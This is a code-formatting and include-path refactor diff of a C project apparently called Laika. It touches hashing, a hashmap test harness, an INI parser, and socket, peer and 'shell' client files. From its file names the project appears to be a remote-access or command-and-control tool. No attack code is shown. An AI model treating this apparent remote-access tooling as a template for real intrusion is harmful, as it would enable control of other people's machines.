v2 += v1; v1 = ROTL(v1, 17); \ v2 += v1; \
v1 ^= v2; v2 = ROTL(v2, 32); } v1 = ROTL(v1, 17); \
v1 ^= v2; \
v2 = ROTL(v2, 32); \
}
uint64_t k0 = U8TO64_LE((uint8_t *)&seed0); uint64_t k0 = U8TO64_LE((uint8_t *)&seed0);
uint64_t k1 = U8TO64_LE((uint8_t *)&seed1); uint64_t k1 = U8TO64_LE((uint8_t *)&seed1);
uint64_t v3 = UINT64_C(0x7465646279746573) ^ k1; uint64_t v3 = UINT64_C(0x7465646279746573) ^ k1;
@ -498,26 +500,40 @@ static uint64_t SIP64(const uint8_t *in, const size_t inlen,
for (; in != end; in += 8) { for (; in != end; in += 8) {
uint64_t m = U8TO64_LE(in); uint64_t m = U8TO64_LE(in);
v3 ^= m; v3 ^= m;
SIPROUND; SIPROUND; SIPROUND;
SIPROUND;
v0 ^= m; v0 ^= m;
} }
const int left = inlen & 7; const int left = inlen & 7;
uint64_t b = ((uint64_t)inlen) << 56; uint64_t b = ((uint64_t)inlen) << 56;
switch (left) { switch (left) {
case 7: b |= ((uint64_t)in[6]) << 48; case 7:
case 6: b |= ((uint64_t)in[5]) << 40; b |= ((uint64_t)in[6]) << 48;
case 5: b |= ((uint64_t)in[4]) << 32; case 6:
case 4: b |= ((uint64_t)in[3]) << 24; b |= ((uint64_t)in[5]) << 40;
case 3: b |= ((uint64_t)in[2]) << 16; case 5:
case 2: b |= ((uint64_t)in[1]) << 8; b |= ((uint64_t)in[4]) << 32;
case 1: b |= ((uint64_t)in[0]); break; case 4:
case 0: break; b |= ((uint64_t)in[3]) << 24;
case 3:
b |= ((uint64_t)in[2]) << 16;
case 2:
b |= ((uint64_t)in[1]) << 8;
case 1:
b |= ((uint64_t)in[0]);
break;
case 0:
break;
} }
v3 ^= b; v3 ^= b;
SIPROUND; SIPROUND; SIPROUND;
SIPROUND;
v0 ^= b; v0 ^= b;
v2 ^= 0xff; v2 ^= 0xff;
SIPROUND; SIPROUND; SIPROUND; SIPROUND; SIPROUND;
SIPROUND;
SIPROUND;
SIPROUND;
b = v0 ^ v1 ^ v2 ^ v3; b = v0 ^ v1 ^ v2 ^ v3;
uint64_t out = 0; uint64_t out = 0;
U64TO8_LE((uint8_t *)&out, b); U64TO8_LE((uint8_t *)&out, b);
@ -530,9 +546,15 @@ static uint64_t SIP64(const uint8_t *in, const size_t inlen,
// //
// Murmur3_86_128 // Murmur3_86_128
//----------------------------------------------------------------------------- //-----------------------------------------------------------------------------
static void MM86128(const void *key, const int len, uint32_t seed, void *out) { static void MM86128(const void *key, const int len, uint32_t seed, void *out)
{
#define ROTL32(x, r) ((x << r) | (x >> (32 - r))) #define ROTL32(x, r) ((x << r) | (x >> (32 - r)))
#define FMIX32(h) h^=h>>16; h*=0x85ebca6b; h^=h>>13; h*=0xc2b2ae35; h^=h>>16; #define FMIX32(h) \
h ^= h >> 16; \
h *= 0x85ebca6b; \
h ^= h >> 13; \
h *= 0xc2b2ae35; \
h ^= h >> 16;
const uint8_t *data = (const uint8_t *)key; const uint8_t *data = (const uint8_t *)key;
const int nblocks = len / 16; const int nblocks = len / 16;
uint32_t h1 = seed; uint32_t h1 = seed;
@ -549,14 +571,34 @@ static void MM86128(const void *key, const int len, uint32_t seed, void *out) {
uint32_t k2 = blocks[i * 4 + 1]; uint32_t k2 = blocks[i * 4 + 1];
uint32_t k3 = blocks[i * 4 + 2]; uint32_t k3 = blocks[i * 4 + 2];
uint32_t k4 = blocks[i * 4 + 3]; uint32_t k4 = blocks[i * 4 + 3];
k1 *= c1; k1 = ROTL32(k1,15); k1 *= c2; h1 ^= k1; k1 *= c1;
h1 = ROTL32(h1,19); h1 += h2; h1 = h1*5+0x561ccd1b; k1 = ROTL32(k1, 15);
k2 *= c2; k2 = ROTL32(k2,16); k2 *= c3; h2 ^= k2; k1 *= c2;
h2 = ROTL32(h2,17); h2 += h3; h2 = h2*5+0x0bcaa747; h1 ^= k1;
k3 *= c3; k3 = ROTL32(k3,17); k3 *= c4; h3 ^= k3; h1 = ROTL32(h1, 19);
h3 = ROTL32(h3,15); h3 += h4; h3 = h3*5+0x96cd1c35; h1 += h2;
k4 *= c4; k4 = ROTL32(k4,18); k4 *= c1; h4 ^= k4; h1 = h1 * 5 + 0x561ccd1b;
h4 = ROTL32(h4,13); h4 += h1; h4 = h4*5+0x32ac3b17; k2 *= c2;
k2 = ROTL32(k2, 16);
k2 *= c3;
h2 ^= k2;
h2 = ROTL32(h2, 17);
h2 += h3;
h2 = h2 * 5 + 0x0bcaa747;
k3 *= c3;
k3 = ROTL32(k3, 17);
k3 *= c4;
h3 ^= k3;
h3 = ROTL32(h3, 15);
h3 += h4;
h3 = h3 * 5 + 0x96cd1c35;
k4 *= c4;
k4 = ROTL32(k4, 18);
k4 *= c1;
h4 ^= k4;
h4 = ROTL32(h4, 13);
h4 += h1;
h4 = h4 * 5 + 0x32ac3b17;
} }
const uint8_t *tail = (const uint8_t *)(data + nblocks * 16); const uint8_t *tail = (const uint8_t *)(data + nblocks * 16);
uint32_t k1 = 0; uint32_t k1 = 0;
@ -564,32 +606,73 @@ static void MM86128(const void *key, const int len, uint32_t seed, void *out) {
uint32_t k3 = 0; uint32_t k3 = 0;
uint32_t k4 = 0; uint32_t k4 = 0;
switch (len & 15) { switch (len & 15) {
case 15: k4 ^= tail[14] << 16; case 15:
case 14: k4 ^= tail[13] << 8; k4 ^= tail[14] << 16;
case 13: k4 ^= tail[12] << 0; case 14:
k4 *= c4; k4 = ROTL32(k4,18); k4 *= c1; h4 ^= k4; k4 ^= tail[13] << 8;
case 12: k3 ^= tail[11] << 24; case 13:
case 11: k3 ^= tail[10] << 16; k4 ^= tail[12] << 0;
case 10: k3 ^= tail[ 9] << 8; k4 *= c4;
case 9: k3 ^= tail[ 8] << 0; k4 = ROTL32(k4, 18);
k3 *= c3; k3 = ROTL32(k3,17); k3 *= c4; h3 ^= k3; k4 *= c1;
case 8: k2 ^= tail[ 7] << 24; h4 ^= k4;
case 7: k2 ^= tail[ 6] << 16; case 12:
case 6: k2 ^= tail[ 5] << 8; k3 ^= tail[11] << 24;
case 5: k2 ^= tail[ 4] << 0; case 11:
k2 *= c2; k2 = ROTL32(k2,16); k2 *= c3; h2 ^= k2; k3 ^= tail[10] << 16;
case 4: k1 ^= tail[ 3] << 24; case 10:
case 3: k1 ^= tail[ 2] << 16; k3 ^= tail[9] << 8;
case 2: k1 ^= tail[ 1] << 8; case 9:
case 1: k1 ^= tail[ 0] << 0; k3 ^= tail[8] << 0;
k1 *= c1; k1 = ROTL32(k1,15); k1 *= c2; h1 ^= k1; k3 *= c3;
k3 = ROTL32(k3, 17);
k3 *= c4;
h3 ^= k3;
case 8:
k2 ^= tail[7] << 24;
case 7:
k2 ^= tail[6] << 16;
case 6:
k2 ^= tail[5] << 8;
case 5:
k2 ^= tail[4] << 0;
k2 *= c2;
k2 = ROTL32(k2, 16);
k2 *= c3;
h2 ^= k2;
case 4:
k1 ^= tail[3] << 24;
case 3:
k1 ^= tail[2] << 16;
case 2:
k1 ^= tail[1] << 8;
case 1:
k1 ^= tail[0] << 0;
k1 *= c1;
k1 = ROTL32(k1, 15);
k1 *= c2;
h1 ^= k1;
}; };
h1 ^= len; h2 ^= len; h3 ^= len; h4 ^= len; h1 ^= len;
h1 += h2; h1 += h3; h1 += h4; h2 ^= len;
h2 += h1; h3 += h1; h4 += h1; h3 ^= len;
FMIX32(h1); FMIX32(h2); FMIX32(h3); FMIX32(h4); h4 ^= len;
h1 += h2; h1 += h3; h1 += h4; h1 += h2;
h2 += h1; h3 += h1; h4 += h1; h1 += h3;
h1 += h4;
h2 += h1;
h3 += h1;
h4 += h1;
FMIX32(h1);
FMIX32(h2);
FMIX32(h3);
FMIX32(h4);
h1 += h2;
h1 += h3;
h1 += h4;
h2 += h1;
h3 += h1;
h4 += h1;
((uint32_t *)out)[0] = h1; ((uint32_t *)out)[0] = h1;
((uint32_t *)out)[1] = h2; ((uint32_t *)out)[1] = h2;
((uint32_t *)out)[2] = h3; ((uint32_t *)out)[2] = h3;
@ -597,15 +680,13 @@ static void MM86128(const void *key, const int len, uint32_t seed, void *out) {
} }
// hashmap_sip returns a hash value for `data` using SipHash-2-4. // hashmap_sip returns a hash value for `data` using SipHash-2-4.
uint64_t hashmap_sip(const void *data, size_t len, uint64_t hashmap_sip(const void *data, size_t len, uint64_t seed0, uint64_t seed1)
uint64_t seed0, uint64_t seed1)
{ {
return SIP64((uint8_t *)data, len, seed0, seed1); return SIP64((uint8_t *)data, len, seed0, seed1);
} }
// hashmap_murmur returns a hash value for `data` using Murmur3_86_128. // hashmap_murmur returns a hash value for `data` using Murmur3_86_128.
uint64_t hashmap_murmur(const void *data, size_t len, uint64_t hashmap_murmur(const void *data, size_t len, uint64_t seed0, uint64_t seed1)
uint64_t seed0, uint64_t seed1)
{ {
char out[16]; char out[16];
MM86128(data, len, seed0, &out); MM86128(data, len, seed0, &out);
@ -619,7 +700,8 @@ uint64_t hashmap_murmur(const void *data, size_t len,
//============================================================================== //==============================================================================
#ifdef HASHMAP_TEST #ifdef HASHMAP_TEST
static size_t deepcount(struct hashmap *map) { static size_t deepcount(struct hashmap *map)
{
size_t count = 0; size_t count = 0;
for (size_t i = 0; i < map->nbuckets; i++) { for (size_t i = 0; i < map->nbuckets; i++) {
if (bucket_at(map, i)->dib) { if (bucket_at(map, i)->dib) {
@ -629,23 +711,23 @@ static size_t deepcount(struct hashmap *map) {
return count; return count;
} }
# pragma GCC diagnostic ignored "-Wextra" # pragma GCC diagnostic ignored "-Wextra"
# include "core/hashmap.h"
# include <assert.h>
# include <stdio.h>
# include <stdlib.h> # include <stdlib.h>
# include <string.h> # include <string.h>
# include <time.h> # include <time.h>
#include <assert.h>
#include <stdio.h>
#include "hashmap.h"
static bool rand_alloc_fail = false; static bool rand_alloc_fail = false;
static int rand_alloc_fail_odds = 3; // 1 in 3 chance malloc will fail. static int rand_alloc_fail_odds = 3; // 1 in 3 chance malloc will fail.
static uintptr_t total_allocs = 0; static uintptr_t total_allocs = 0;
static uintptr_t total_mem = 0; static uintptr_t total_mem = 0;
static void *xmalloc(size_t size) { static void *xmalloc(size_t size)
{
if (rand_alloc_fail && rand() % rand_alloc_fail_odds == 0) { if (rand_alloc_fail && rand() % rand_alloc_fail_odds == 0) {
return NULL; return NULL;
} }
@ -657,7 +739,8 @@ static void *xmalloc(size_t size) {
return (char *)mem + sizeof(uintptr_t); return (char *)mem + sizeof(uintptr_t);
} }
static void xfree(void *ptr) { static void xfree(void *ptr)
{
if (ptr) { if (ptr) {
total_mem -= *(uintptr_t *)((char *)ptr - sizeof(uintptr_t)); total_mem -= *(uintptr_t *)((char *)ptr - sizeof(uintptr_t));
free((char *)ptr - sizeof(uintptr_t)); free((char *)ptr - sizeof(uintptr_t));
@ -665,7 +748,8 @@ static void xfree(void *ptr) {
} }
} }
static void shuffle(void *array, size_t numels, size_t elsize) { static void shuffle(void *array, size_t numels, size_t elsize)
{
char tmp[elsize]; char tmp[elsize];
char *arr = array; char *arr = array;
for (size_t i = 0; i < numels - 1; i++) { for (size_t i = 0; i < numels - 1; i++) {
@ -676,37 +760,45 @@ static void shuffle(void *array, size_t numels, size_t elsize) {
} }
} }
static bool iter_ints(const void *item, void *udata) { static bool iter_ints(const void *item, void *udata)
{
int *vals = *(int **)udata; int *vals = *(int **)udata;
vals[*(int *)item] = 1; vals[*(int *)item] = 1;
return true; return true;
} }
static int compare_ints(const void *a, const void *b) { static int compare_ints(const void *a, const void *b)
{
return *(int *)a - *(int *)b; return *(int *)a - *(int *)b;
} }
static int compare_ints_udata(const void *a, const void *b, void *udata) { static int compare_ints_udata(const void *a, const void *b, void *udata)
{
return *(int *)a - *(int *)b; return *(int *)a - *(int *)b;
} }
static int compare_strs(const void *a, const void *b, void *udata) { static int compare_strs(const void *a, const void *b, void *udata)
{
return strcmp(*(char **)a, *(char **)b); return strcmp(*(char **)a, *(char **)b);
} }
static uint64_t hash_int(const void *item, uint64_t seed0, uint64_t seed1) { static uint64_t hash_int(const void *item, uint64_t seed0, uint64_t seed1)
{
return hashmap_murmur(item, sizeof(int), seed0, seed1); return hashmap_murmur(item, sizeof(int), seed0, seed1);
} }
static uint64_t hash_str(const void *item, uint64_t seed0, uint64_t seed1) { static uint64_t hash_str(const void *item, uint64_t seed0, uint64_t seed1)
{
return hashmap_murmur(*(char **)item, strlen(*(char **)item), seed0, seed1); return hashmap_murmur(*(char **)item, strlen(*(char **)item), seed0, seed1);
} }
static void free_str(void *item) { static void free_str(void *item)
{
xfree(*(char **)item); xfree(*(char **)item);
} }
static void all() { static void all()
{
int seed = getenv("SEED") ? atoi(getenv("SEED")) : time(NULL); int seed = getenv("SEED") ? atoi(getenv("SEED")) : time(NULL);
int N = getenv("N") ? atoi(getenv("N")) : 2000; int N = getenv("N") ? atoi(getenv("N")) : 2000;
printf("seed=%d, count=%d, item_size=%zu\n", seed, N, sizeof(int)); printf("seed=%d, count=%d, item_size=%zu\n", seed, N, sizeof(int));
@ -719,15 +811,17 @@ static void all() {
assert(hashmap_murmur("hello", 5, 1, 2) == 1682575153221130884); assert(hashmap_murmur("hello", 5, 1, 2) == 1682575153221130884);
int *vals; int *vals;
while (!(vals = xmalloc(N * sizeof(int)))) {} while (!(vals = xmalloc(N * sizeof(int)))) {
}
for (int i = 0; i < N; i++) { for (int i = 0; i < N; i++) {
vals[i] = i; vals[i] = i;
} }
struct hashmap *map; struct hashmap *map;
while (!(map = hashmap_new(sizeof(int), 0, seed, seed, while (!(
hash_int, compare_ints_udata, NULL, NULL))) {} map = hashmap_new(sizeof(int), 0, seed, seed, hash_int, compare_ints_udata, NULL, NULL))) {
}
shuffle(vals, N, sizeof(int)); shuffle(vals, N, sizeof(int));
for (int i = 0; i < N; i++) { for (int i = 0; i < N; i++) {
// // printf("== %d ==\n", vals[i]); // // printf("== %d ==\n", vals[i]);
@ -772,7 +866,8 @@ static void all() {
} }
int *vals2; int *vals2;
while (!(vals2 = xmalloc(N * sizeof(int)))) {} while (!(vals2 = xmalloc(N * sizeof(int)))) {
}
memset(vals2, 0, N * sizeof(int)); memset(vals2, 0, N * sizeof(int));
assert(hashmap_scan(map, iter_ints, &vals2)); assert(hashmap_scan(map, iter_ints, &vals2));
@ -817,7 +912,6 @@ static void all() {
assert(prev_cap < map->cap); assert(prev_cap < map->cap);
assert(map->count == 0); assert(map->count == 0);
for (int i = 0; i < N; i++) { for (int i = 0; i < N; i++) {
while (true) { while (true) {
assert(!hashmap_set(map, &vals[i])); assert(!hashmap_set(map, &vals[i]));
@ -835,15 +929,17 @@ static void all() {
xfree(vals); xfree(vals);
while (
while (!(map = hashmap_new(sizeof(char*), 0, seed, seed, !(map = hashmap_new(sizeof(char *), 0, seed, seed, hash_str, compare_strs, free_str, NULL)))
hash_str, compare_strs, free_str, NULL))); ;
for (int i = 0; i < N; i++) { for (int i = 0; i < N; i++) {
char *str; char *str;
while (!(str = xmalloc(16))); while (!(str = xmalloc(16)))
;
sprintf(str, "s%i", i); sprintf(str, "s%i", i);
while(!hashmap_set(map, &str)); while (!hashmap_set(map, &str))
;
} }
hashmap_clear(map, false); hashmap_clear(map, false);
@ -851,9 +947,11 @@ static void all() {
for (int i = 0; i < N; i++) { for (int i = 0; i < N; i++) {
char *str; char *str;
while (!(str = xmalloc(16))); while (!(str = xmalloc(16)))
;
sprintf(str, "s%i", i); sprintf(str, "s%i", i);
while(!hashmap_set(map, &str)); while (!hashmap_set(map, &str))
;
} }
hashmap_free(map); hashmap_free(map);
@ -864,7 +962,9 @@ static void all() {
} }
} }
#define bench(name, N, code) {{ \ # define bench(name, N, code) \
{ \
{ \
if (strlen(name) > 0) { \ if (strlen(name) > 0) { \
printf("%-14s ", name); \ printf("%-14s ", name); \
} \ } \
@ -878,11 +978,8 @@ static void all() {
clock_t end = clock(); \ clock_t end = clock(); \
double elapsed_secs = (double)(end - begin) / CLOCKS_PER_SEC; \ double elapsed_secs = (double)(end - begin) / CLOCKS_PER_SEC; \
double bytes_sec = (double)bytes / elapsed_secs; \ double bytes_sec = (double)bytes / elapsed_secs; \
printf("%d ops in %.3f secs, %.0f ns/op, %.0f op/sec", \ printf("%d ops in %.3f secs, %.0f ns/op, %.0f op/sec", N, elapsed_secs, \
N, elapsed_secs, \ elapsed_secs / (double)N * 1e9, (double)N / elapsed_secs); \
elapsed_secs/(double)N*1e9, \
(double)N/elapsed_secs \
); \
if (bytes > 0) { \ if (bytes > 0) { \
printf(", %.1f GB/sec", bytes_sec / 1024 / 1024 / 1024); \ printf(", %.1f GB/sec", bytes_sec / 1024 / 1024 / 1024); \
} \ } \
@ -895,15 +992,16 @@ static void all() {
printf(", %.2f allocs/op", (double)used_allocs / N); \ printf(", %.2f allocs/op", (double)used_allocs / N); \
} \ } \
printf("\n"); \ printf("\n"); \
}} } \
}
static void benchmarks() { static void benchmarks()
{
int seed = getenv("SEED") ? atoi(getenv("SEED")) : time(NULL); int seed = getenv("SEED") ? atoi(getenv("SEED")) : time(NULL);
int N = getenv("N") ? atoi(getenv("N")) : 5000000; int N = getenv("N") ? atoi(getenv("N")) : 5000000;
printf("seed=%d, count=%d, item_size=%zu\n", seed, N, sizeof(int)); printf("seed=%d, count=%d, item_size=%zu\n", seed, N, sizeof(int));
srand(seed); srand(seed);
int *vals = xmalloc(N * sizeof(int)); int *vals = xmalloc(N * sizeof(int));
for (int i = 0; i < N; i++) { for (int i = 0; i < N; i++) {
vals[i] = i; vals[i] = i;
@ -914,44 +1012,37 @@ static void benchmarks() {
struct hashmap *map; struct hashmap *map;
shuffle(vals, N, sizeof(int)); shuffle(vals, N, sizeof(int));
map = hashmap_new(sizeof(int), 0, seed, seed, hash_int, compare_ints_udata, map = hashmap_new(sizeof(int), 0, seed, seed, hash_int, compare_ints_udata, NULL, NULL);
NULL, NULL);
bench("set", N, { bench("set", N, {
int *v = hashmap_set(map, &vals[i]); int *v = hashmap_set(map, &vals[i]);
assert(!v); assert(!v);
}) }) shuffle(vals, N, sizeof(int));
shuffle(vals, N, sizeof(int));
bench("get", N, { bench("get", N, {
int *v = hashmap_get(map, &vals[i]); int *v = hashmap_get(map, &vals[i]);
assert(v && *v == vals[i]); assert(v && *v == vals[i]);
}) }) shuffle(vals, N, sizeof(int));
shuffle(vals, N, sizeof(int));
bench("delete", N, { bench("delete", N, {
int *v = hashmap_delete(map, &vals[i]); int *v = hashmap_delete(map, &vals[i]);
assert(v && *v == vals[i]); assert(v && *v == vals[i]);
}) }) hashmap_free(map);
hashmap_free(map);
map = hashmap_new(sizeof(int), N, seed, seed, hash_int, compare_ints_udata, map = hashmap_new(sizeof(int), N, seed, seed, hash_int, compare_ints_udata, NULL, NULL);
NULL, NULL);
bench("set (cap)", N, { bench("set (cap)", N, {
int *v = hashmap_set(map, &vals[i]); int *v = hashmap_set(map, &vals[i]);
assert(!v); assert(!v);
}) }) shuffle(vals, N, sizeof(int));
shuffle(vals, N, sizeof(int));
bench("get (cap)", N, { bench("get (cap)", N, {
int *v = hashmap_get(map, &vals[i]); int *v = hashmap_get(map, &vals[i]);
assert(v && *v == vals[i]); assert(v && *v == vals[i]);
}) }) shuffle(vals, N, sizeof(int));
shuffle(vals, N, sizeof(int)); bench("delete (cap)", N,
bench("delete (cap)" , N, { {
int *v = hashmap_delete(map, &vals[i]); int *v = hashmap_delete(map, &vals[i]);
assert(v && *v == vals[i]); assert(v && *v == vals[i]);
}) })
hashmap_free(map); hashmap_free(map);
xfree(vals); xfree(vals);
if (total_allocs != 0) { if (total_allocs != 0) {
@ -960,7 +1051,8 @@ static void benchmarks() {
} }
} }
int main() { int main()
{
hashmap_set_allocator(xmalloc, xfree); hashmap_set_allocator(xmalloc, xfree);
if (getenv("BENCH")) { if (getenv("BENCH")) {
@ -973,8 +1065,4 @@ int main() {
} }
} }
#endif #endif

View File

@ -15,11 +15,11 @@ https://github.com/benhoyt/inih
# define _CRT_SECURE_NO_WARNINGS # define _CRT_SECURE_NO_WARNINGS
#endif #endif
#include <stdio.h> #include "core/ini.h"
#include <ctype.h>
#include <string.h>
#include "ini.h" #include <ctype.h>
#include <stdio.h>
#include <string.h>
#if !INI_USE_STACK #if !INI_USE_STACK
# if INI_CUSTOM_ALLOCATOR # if INI_CUSTOM_ALLOCATOR
@ -39,7 +39,8 @@ void* ini_realloc(void* ptr, size_t size);
#define MAX_NAME 50 #define MAX_NAME 50
/* Used by ini_parse_string() to keep track of string parsing state. */ /* Used by ini_parse_string() to keep track of string parsing state. */
typedef struct { typedef struct
{
const char *ptr; const char *ptr;
size_t num_left; size_t num_left;
} ini_parse_string_ctx; } ini_parse_string_ctx;
@ -94,8 +95,7 @@ static char* strncpy0(char* dest, const char* src, size_t size)
} }
/* See documentation in header file. */ /* See documentation in header file. */
int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler, int ini_parse_stream(ini_reader reader, void *stream, ini_handler handler, void *user)
void* user)
{ {
/* Uses a fair bit of stack (use heap instead if you need to) */ /* Uses a fair bit of stack (use heap instead if you need to) */
#if INI_USE_STACK #if INI_USE_STACK
@ -158,8 +158,7 @@ int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler,
start = line; start = line;
#if INI_ALLOW_BOM #if INI_ALLOW_BOM
if (lineno == 1 && (unsigned char)start[0] == 0xEF && if (lineno == 1 && (unsigned char)start[0] == 0xEF && (unsigned char)start[1] == 0xBB &&
(unsigned char)start[1] == 0xBB &&
(unsigned char)start[2] == 0xBF) { (unsigned char)start[2] == 0xBF) {
start += 3; start += 3;
} }
@ -188,13 +187,11 @@ int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler,
if (!HANDLER(user, section, NULL, NULL) && !error) if (!HANDLER(user, section, NULL, NULL) && !error)
error = lineno; error = lineno;
#endif #endif
} } else if (!error) {
else if (!error) {
/* No ']' found on section line */ /* No ']' found on section line */
error = lineno; error = lineno;
} }
} } else if (*start) {
else if (*start) {
/* Not a comment, must be a name[=:]value pair */ /* Not a comment, must be a name[=:]value pair */
end = find_chars_or_comment(start, "=:"); end = find_chars_or_comment(start, "=:");
if (*end == '=' || *end == ':') { if (*end == '=' || *end == ':') {
@ -213,8 +210,7 @@ int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler,
strncpy0(prev_name, name, sizeof(prev_name)); strncpy0(prev_name, name, sizeof(prev_name));
if (!HANDLER(user, section, name, value) && !error) if (!HANDLER(user, section, name, value) && !error)
error = lineno; error = lineno;
} } else if (!error) {
else if (!error) {
/* No '=' or ':' found on name[=:]value line */ /* No '=' or ':' found on name[=:]value line */
#if INI_ALLOW_NO_VALUE #if INI_ALLOW_NO_VALUE
*end = '\0'; *end = '\0';
@ -262,7 +258,8 @@ int ini_parse(const char* filename, ini_handler handler, void* user)
/* An ini_reader function to read the next line from a string buffer. This /* An ini_reader function to read the next line from a string buffer. This
is the fgets() equivalent used by ini_parse_string(). */ is the fgets() equivalent used by ini_parse_string(). */
static char* ini_reader_string(char* str, int num, void* stream) { static char *ini_reader_string(char *str, int num, void *stream)
{
ini_parse_string_ctx *ctx = (ini_parse_string_ctx *)stream; ini_parse_string_ctx *ctx = (ini_parse_string_ctx *)stream;
const char *ctx_ptr = ctx->ptr; const char *ctx_ptr = ctx->ptr;
size_t ctx_num_left = ctx->num_left; size_t ctx_num_left = ctx->num_left;
@ -288,11 +285,11 @@ static char* ini_reader_string(char* str, int num, void* stream) {
} }
/* See documentation in header file. */ /* See documentation in header file. */
int ini_parse_string(const char* string, ini_handler handler, void* user) { int ini_parse_string(const char *string, ini_handler handler, void *user)
{
ini_parse_string_ctx ctx; ini_parse_string_ctx ctx;
ctx.ptr = string; ctx.ptr = string;
ctx.num_left = strlen(string); ctx.num_left = strlen(string);
return ini_parse_stream((ini_reader)ini_reader_string, &ctx, handler, return ini_parse_stream((ini_reader)ini_reader_string, &ctx, handler, user);
user);
} }

4
lib/src/core/lerror.c Normal file
View File

@ -0,0 +1,4 @@
#include "core/lerror.h"
jmp_buf eLaika_errStack[LAIKA_MAXERRORS];
int eLaika_errIndx = -1;

View File

@ -1,6 +1,6 @@
#include "lmem.h" #include "core/lmem.h"
#include "lerror.h" #include "core/lerror.h"
void *laikaM_realloc(void *buf, size_t sz) void *laikaM_realloc(void *buf, size_t sz)
{ {

View File

@ -1,4 +1,4 @@
#include "lsodium.h" #include "core/lsodium.h"
#include <string.h> #include <string.h>

View File

@ -1,6 +1,6 @@
#include "ltask.h" #include "core/ltask.h"
#include "lmem.h" #include "core/lmem.h"
/* this is the only reason C11 support is needed, i cba to write windows/linux specific stuff to get /* this is the only reason C11 support is needed, i cba to write windows/linux specific stuff to get
the current time in ms also side note: microsoft? more like micropenis */ the current time in ms also side note: microsoft? more like micropenis */

1
lib/src/core/lvm.c Normal file
View File

@ -0,0 +1 @@
#include "core/lvm.h"

View File

@ -1,4 +0,0 @@
#include "lerror.h"
jmp_buf eLaika_errStack[LAIKA_MAXERRORS];
int eLaika_errIndx = -1;

View File

@ -1 +0,0 @@
#include "lvm.h"

View File

@ -1,4 +1,4 @@
#include "lpacket.h" #include "net/lpacket.h"
#ifdef DEBUG #ifdef DEBUG
const char *laikaD_getPacketName(LAIKAPKT_ID id) const char *laikaD_getPacketName(LAIKAPKT_ID id)

View File

@ -1,7 +1,7 @@
#include "lpeer.h" #include "net/lpeer.h"
#include "lerror.h" #include "core/lerror.h"
#include "lmem.h" #include "core/lmem.h"
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl,
struct sLaika_pollList *pList, pollFailEvent onPollFail, struct sLaika_pollList *pList, pollFailEvent onPollFail,

View File

@ -1,7 +1,7 @@
#include "lpolllist.h" #include "net/lpolllist.h"
#include "lerror.h" #include "core/lerror.h"
#include "lmem.h" #include "core/lmem.h"
/* ===================================[[ Helper Functions ]]==================================== */ /* ===================================[[ Helper Functions ]]==================================== */

View File

@ -1,10 +1,10 @@
#include "lsocket.h" #include "net/lsocket.h"
#include "lerror.h" #include "core/lerror.h"
#include "lmem.h" #include "core/lmem.h"
#include "lpacket.h" #include "core/lsodium.h"
#include "lpolllist.h" #include "net/lpacket.h"
#include "lsodium.h" #include "net/lpolllist.h"
static int _LNSetup = 0; static int _LNSetup = 0;

View File

@ -1,11 +1,11 @@
#ifndef SHELLCLIENT_H #ifndef SHELLCLIENT_H
#define SHELLCLIENT_H #define SHELLCLIENT_H
#include "hashmap.h" #include "core/hashmap.h"
#include "lmem.h" #include "core/lmem.h"
#include "lpeer.h" #include "core/lsodium.h"
#include "lsodium.h" #include "core/ltask.h"
#include "ltask.h" #include "net/lpeer.h"
#include "speer.h" #include "speer.h"
typedef struct sShell_client typedef struct sShell_client

View File

@ -1,8 +1,8 @@
#ifndef SHELLPEER_H #ifndef SHELLPEER_H
#define SHELLPEER_H #define SHELLPEER_H
#include "lpeer.h" #include "core/lsodium.h"
#include "lsodium.h" #include "net/lpeer.h"
typedef struct sShell_peer typedef struct sShell_peer
{ {

View File

@ -1,4 +1,4 @@
#include "ini.h" #include "core/ini.h"
#include "sclient.h" #include "sclient.h"
#include "sterm.h" #include "sterm.h"

View File

@ -1,9 +1,9 @@
#include "sclient.h" #include "sclient.h"
#include "lerror.h" #include "core/lerror.h"
#include "lmem.h" #include "core/lmem.h"
#include "lpacket.h" #include "core/lsodium.h"
#include "lsodium.h" #include "net/lpacket.h"
#include "sterm.h" #include "sterm.h"
void shell_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void shell_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick,

View File

@ -1,7 +1,7 @@
#include "scmd.h" #include "scmd.h"
#include "lerror.h" #include "core/lerror.h"
#include "lmem.h" #include "core/lmem.h"
#include "sclient.h" #include "sclient.h"
#include "speer.h" #include "speer.h"
#include "sterm.h" #include "sterm.h"

View File

@ -1,7 +1,7 @@
#include "speer.h" #include "speer.h"
#include "lmem.h" #include "core/lmem.h"
#include "lpacket.h" #include "net/lpacket.h"
#include "sterm.h" #include "sterm.h"
tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char *hostname, tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char *hostname,

View File

@ -1,6 +1,6 @@
#include "sterm.h" #include "sterm.h"
#include "lmem.h" #include "core/lmem.h"
#include "scmd.h" #include "scmd.h"
#define KEY_ESCAPE 0x001b #define KEY_ESCAPE 0x001b

View File

@ -1,5 +1,5 @@
#include "lerror.h" #include "core/lerror.h"
#include "lsodium.h" #include "core/lsodium.h"
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>

View File

@ -1,5 +1,5 @@
#include "lbox.h" #include "core/lbox.h"
#include "lvm.h" #include "core/lvm.h"
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>